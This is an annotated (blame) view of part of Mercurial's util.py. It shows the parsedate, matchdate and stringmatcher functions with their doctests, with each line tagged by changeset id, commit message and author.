|
2062 |
26311
60dd8e3977f0
util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents:
26267
diff
changeset
|
2063 def parsedate(date, formats=None, bias=None): |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2064 """parse a localized date/time and return a (unixtime, offset) tuple. |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2065 |
2522
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2066 The date may be a "unixtime offset" string or in one of the specified |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2067 formats. If the date already is a (unixtime, offset) tuple, it is returned. |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2068 |
34362
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2069 >>> parsedate(b' today ') == parsedate( |
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2070 ... datetime.date.today().strftime('%b %d').encode('ascii')) |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2071 True |
34362
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2072 >>> parsedate(b'yesterday ') == parsedate( |
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2073 ... (datetime.date.today() - datetime.timedelta(days=1) |
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2074 ... ).strftime('%b %d').encode('ascii')) |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2075 True |
18614
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2076 >>> now, tz = makedate() |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2077 >>> strnow, strtz = parsedate(b'now') |
18614
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2078 >>> (strnow - now) < 1 |
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2079 True |
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2080 >>> tz == strtz |
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2081 True |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2082 """ |
26311
60dd8e3977f0
util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents:
26267
diff
changeset
|
2083 if bias is None: |
60dd8e3977f0
util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents:
26267
diff
changeset
|
2084 bias = {} |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2085 if not date: |
3807
e43b48f0f718
parsedate: allow '' for epoch
Matt Mackall <mpm@selenic.com>
parents:
3806
diff
changeset
|
2086 return 0, 0 |
6230
c7253d1a774e
dates: Fix bare times to be relative to "today"
Matt Mackall <mpm@selenic.com>
parents:
6229
diff
changeset
|
2087 if isinstance(date, tuple) and len(date) == 2: |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2088 return date |
2609
6c5b1b5cc160
util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents:
2601
diff
changeset
|
2089 if not formats: |
6c5b1b5cc160
util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents:
2601
diff
changeset
|
2090 formats = defaultdateformats |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2091 date = date.strip() |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2092 |
24188
5a7920c4d2ea
util: accept "now, today, yesterday" for dates even the locale is not english
André Klitzing <aklitzing@gmail.com>
parents:
24164
diff
changeset
|
2093 if date == 'now' or date == _('now'): |
18614
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2094 return makedate() |
24188
5a7920c4d2ea
util: accept "now, today, yesterday" for dates even the locale is not english
André Klitzing <aklitzing@gmail.com>
parents:
24164
diff
changeset
|
2095 if date == 'today' or date == _('today'): |
34362
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2096 date = datetime.date.today().strftime(r'%b %d') |
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2097 date = encoding.strtolocal(date) |
24188
5a7920c4d2ea
util: accept "now, today, yesterday" for dates even the locale is not english
André Klitzing <aklitzing@gmail.com>
parents:
24164
diff
changeset
|
2098 elif date == 'yesterday' or date == _('yesterday'): |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2099 date = (datetime.date.today() - |
34362
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2100 datetime.timedelta(days=1)).strftime(r'%b %d') |
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2101 date = encoding.strtolocal(date) |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2102 |
2522
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2103 try: |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2104 when, offset = map(int, date.split(' ')) |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2105 except ValueError: |
3812 | 2106 # fill out defaults |
2107 now = makedate() | |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2108 defaults = {} |
13200
6f011cf52f9a
avoid .split() in for loops and use tuples instead
David Soria Parra <dsp@php.net>
parents:
13197
diff
changeset
|
2109 for part in ("d", "mb", "yY", "HI", "M", "S"): |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2110 # this piece is for rounding the specific end of unknowns |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2111 b = bias.get(part) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2112 if b is None: |
32153
6f173560c7f4
py3: slice over bytes to prevent getting ascii values
Pulkit Goyal <7895pulkit@gmail.com>
parents:
32123
diff
changeset
|
2113 if part[0:1] in "HMS": |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2114 b = "00" |
3812 | 2115 else: |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2116 b = "0" |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2117 |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2118 # this piece is for matching the generic end to today's date |
32153
6f173560c7f4
py3: slice over bytes to prevent getting ascii values
Pulkit Goyal <7895pulkit@gmail.com>
parents:
32123
diff
changeset
|
2119 n = datestr(now, "%" + part[0:1]) |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2120 |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2121 defaults[part] = (b, n) |
3812 | 2122 |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2123 for format in formats: |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2124 try: |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2125 when, offset = strdate(date, format, defaults) |
6087
12856a1742dc
better handle errors with date parsing (issue983)
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents:
5917
diff
changeset
|
2126 except (ValueError, OverflowError): |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2127 pass |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2128 else: |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2129 break |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2130 else: |
32462
bb18728ea617
util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents:
32407
diff
changeset
|
2131 raise error.ParseError(_('invalid date: %r') % date) |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2132 # validate explicit (probably user-specified) date and |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2133 # time zone offset. values must fit in signed 32 bits for |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2134 # current 32-bit linux runtimes. timezones go from UTC-12 |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2135 # to UTC+14 |
28864
b0811a9fe67c
date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents:
28835
diff
changeset
|
2136 if when < -0x80000000 or when > 0x7fffffff: |
32462
bb18728ea617
util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents:
32407
diff
changeset
|
2137 raise error.ParseError(_('date exceeds 32 bits: %d') % when) |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2138 if offset < -50400 or offset > 43200: |
32462
bb18728ea617
util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents:
32407
diff
changeset
|
2139 raise error.ParseError(_('impossible time zone offset: %d') % offset) |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2140 return when, offset |
2522
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2141 |
3812 | 2142 def matchdate(date): |
2143 """Return a function that matches a given date match specifier | |
2144 | |
2145 Formats include: | |
2146 | |
2147 '{date}' match a given date to the accuracy provided | |
2148 | |
2149 '<{date}' on or before a given date | |
2150 | |
2151 '>{date}' on or after a given date | |
2152 | |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2153 >>> p1 = parsedate(b"10:29:59") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2154 >>> p2 = parsedate(b"10:30:00") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2155 >>> p3 = parsedate(b"10:30:59") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2156 >>> p4 = parsedate(b"10:31:00") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2157 >>> p5 = parsedate(b"Sep 15 10:30:00 1999") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2158 >>> f = matchdate(b"10:30") |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2159 >>> f(p1[0]) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2160 False |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2161 >>> f(p2[0]) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2162 True |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2163 >>> f(p3[0]) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2164 True |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2165 >>> f(p4[0]) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2166 False |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2167 >>> f(p5[0]) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2168 False |
3812 | 2169 """ |
2170 | |
2171 def lower(date): | |
20679
0916f829eb8d
util: move from dict() construction to {} literals
Augie Fackler <raf@durin42.com>
parents:
20542
diff
changeset
|
2172 d = {'mb': "1", 'd': "1"} |
6230
c7253d1a774e
dates: Fix bare times to be relative to "today"
Matt Mackall <mpm@selenic.com>
parents:
6229
diff
changeset
|
2173 return parsedate(date, extendeddateformats, d)[0] |
3812 | 2174 |
2175 def upper(date): | |
20679
0916f829eb8d
util: move from dict() construction to {} literals
Augie Fackler <raf@durin42.com>
parents:
20542
diff
changeset
|
2176 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"} |
13200
6f011cf52f9a
avoid .split() in for loops and use tuples instead
David Soria Parra <dsp@php.net>
parents:
13197
diff
changeset
|
2177 for days in ("31", "30", "29"): |
3812 | 2178 try: |
2179 d["d"] = days | |
2180 return parsedate(date, extendeddateformats, d)[0] | |
16688
cfb6682961b8
cleanup: replace naked excepts with more specific ones
Brodie Rao <brodie@sf.io>
parents:
16397
diff
changeset
|
2181 except Abort: |
3812 | 2182 pass |
2183 d["d"] = "28" | |
2184 return parsedate(date, extendeddateformats, d)[0] | |
2185 | |
7953
8c6f823efcc9
Correct a bug on date formats with '>' or '<' accompanied by space characters.
Justin Peng <justin.peng.sw@gmail.com>
parents:
7948
diff
changeset
|
2186 date = date.strip() |
13780
bc7b5d1c1999
util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents:
13734
diff
changeset
|
2187 |
bc7b5d1c1999
util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents:
13734
diff
changeset
|
2188 if not date: |
bc7b5d1c1999
util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents:
13734
diff
changeset
|
2189 raise Abort(_("dates cannot consist entirely of whitespace")) |
bc7b5d1c1999
util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents:
13734
diff
changeset
|
2190 elif date[0] == "<": |
13869
b470894c33f8
date: fixup breakage from ">" fix
Matt Mackall <mpm@selenic.com>
parents:
13867
diff
changeset
|
2191 if not date[1:]: |
13886
fe48c57390f2
help/dates: use DATE as place-holder in help and abort texts
Martin Geisler <mg@aragost.com>
parents:
13879
diff
changeset
|
2192 raise Abort(_("invalid day spec, use '<DATE'")) |
3812 | 2193 when = upper(date[1:]) |
2194 return lambda x: x <= when | |
2195 elif date[0] == ">": | |
13869
b470894c33f8
date: fixup breakage from ">" fix
Matt Mackall <mpm@selenic.com>
parents:
13867
diff
changeset
|
2196 if not date[1:]: |
13886
fe48c57390f2
help/dates: use DATE as place-holder in help and abort texts
Martin Geisler <mg@aragost.com>
parents:
13879
diff
changeset
|
2197 raise Abort(_("invalid day spec, use '>DATE'")) |
3812 | 2198 when = lower(date[1:]) |
2199 return lambda x: x >= when | |
2200 elif date[0] == "-": | |
2201 try: | |
2202 days = int(date[1:]) | |
2203 except ValueError: | |
2204 raise Abort(_("invalid day spec: %s") % date[1:]) | |
13889
9a96efc4af8a
util: make 'hg log -d --2' abort (issue2734)
Yun Lee <yunlee.bj@gmail.com>
parents:
13886
diff
changeset
|
2205 if days < 0: |
29977
73b1c328a7da
util: use single quotes in use warning
timeless <timeless@mozdev.org>
parents:
29889
diff
changeset
|
2206 raise Abort(_("%s must be nonnegative (see 'hg help dates')") |
13889
9a96efc4af8a
util: make 'hg log -d --2' abort (issue2734)
Yun Lee <yunlee.bj@gmail.com>
parents:
13886
diff
changeset
|
2207 % date[1:]) |
3812 | 2208 when = makedate()[0] - days * 3600 * 24 |
3813 | 2209 return lambda x: x >= when |
3812 | 2210 elif " to " in date: |
2211 a, b = date.split(" to ") | |
2212 start, stop = lower(a), upper(b) | |
2213 return lambda x: x >= start and x <= stop | |
2214 else: | |
2215 start, stop = lower(date), upper(date) | |
2216 return lambda x: x >= start and x <= stop | |
2217 | |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2218 def stringmatcher(pattern, casesensitive=True): |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2219 """ |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2220 accepts a string, possibly starting with 're:' or 'literal:' prefix. |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2221 returns the matcher name, pattern, and matcher function. |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2222 missing or unknown prefixes are treated as literal matches. |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2223 |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2224 helper for tests: |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2225 >>> def test(pattern, *tests): |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2226 ... kind, pattern, matcher = stringmatcher(pattern) |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2227 ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2228 >>> def itest(pattern, *tests): |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2229 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False) |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2230 ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2231 |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2232 exact matching (no prefix): |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2233 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg') |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2234 ('literal', 'abcdefg', [False, False, True]) |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2235 |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2236 regex matching ('re:' prefix) |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2237 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar') |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2238 ('re', 'a.+b', [False, False, True]) |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2239 |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2240 force exact matches ('literal:' prefix) |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2241 >>> test(b'literal:re:foobar', b'foobar', b're:foobar') |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2242 ('literal', 're:foobar', [False, True]) |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2243 |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2244 unknown prefixes are ignored and treated as literals |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2245 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar') |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2246 ('literal', 'foo:bar', [False, False, True]) |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2247 |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2248 case insensitive regex matches |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2249 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar') |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2250 ('re', 'A.+b', [False, False, True]) |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2251 |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2252 case insensitive literal matches |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2253 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg') |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2254 ('literal', 'ABCDEFG', [False, False, True]) |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2255 """ |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2256 if pattern.startswith('re:'): |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2257 pattern = pattern[3:] |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2258 try: |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2259 flags = 0 |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2260 if not casesensitive: |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2261 flags = remod.I |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2262 regex = remod.compile(pattern, flags) |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2263 except remod.error as e: |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2264 raise error.ParseError(_('invalid regular expression: %s') |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2265 % e) |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2266 return 're', pattern, regex.search |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2267 elif pattern.startswith('literal:'): |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2268 pattern = pattern[8:] |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2269 |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2270 match = pattern.__eq__ |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2271 |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2272 if not casesensitive: |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2273 ipat = encoding.lower(pattern) |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2274 match = lambda s: ipat == encoding.lower(s) |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2275 return 'literal', pattern, match |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2276 |
1903
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
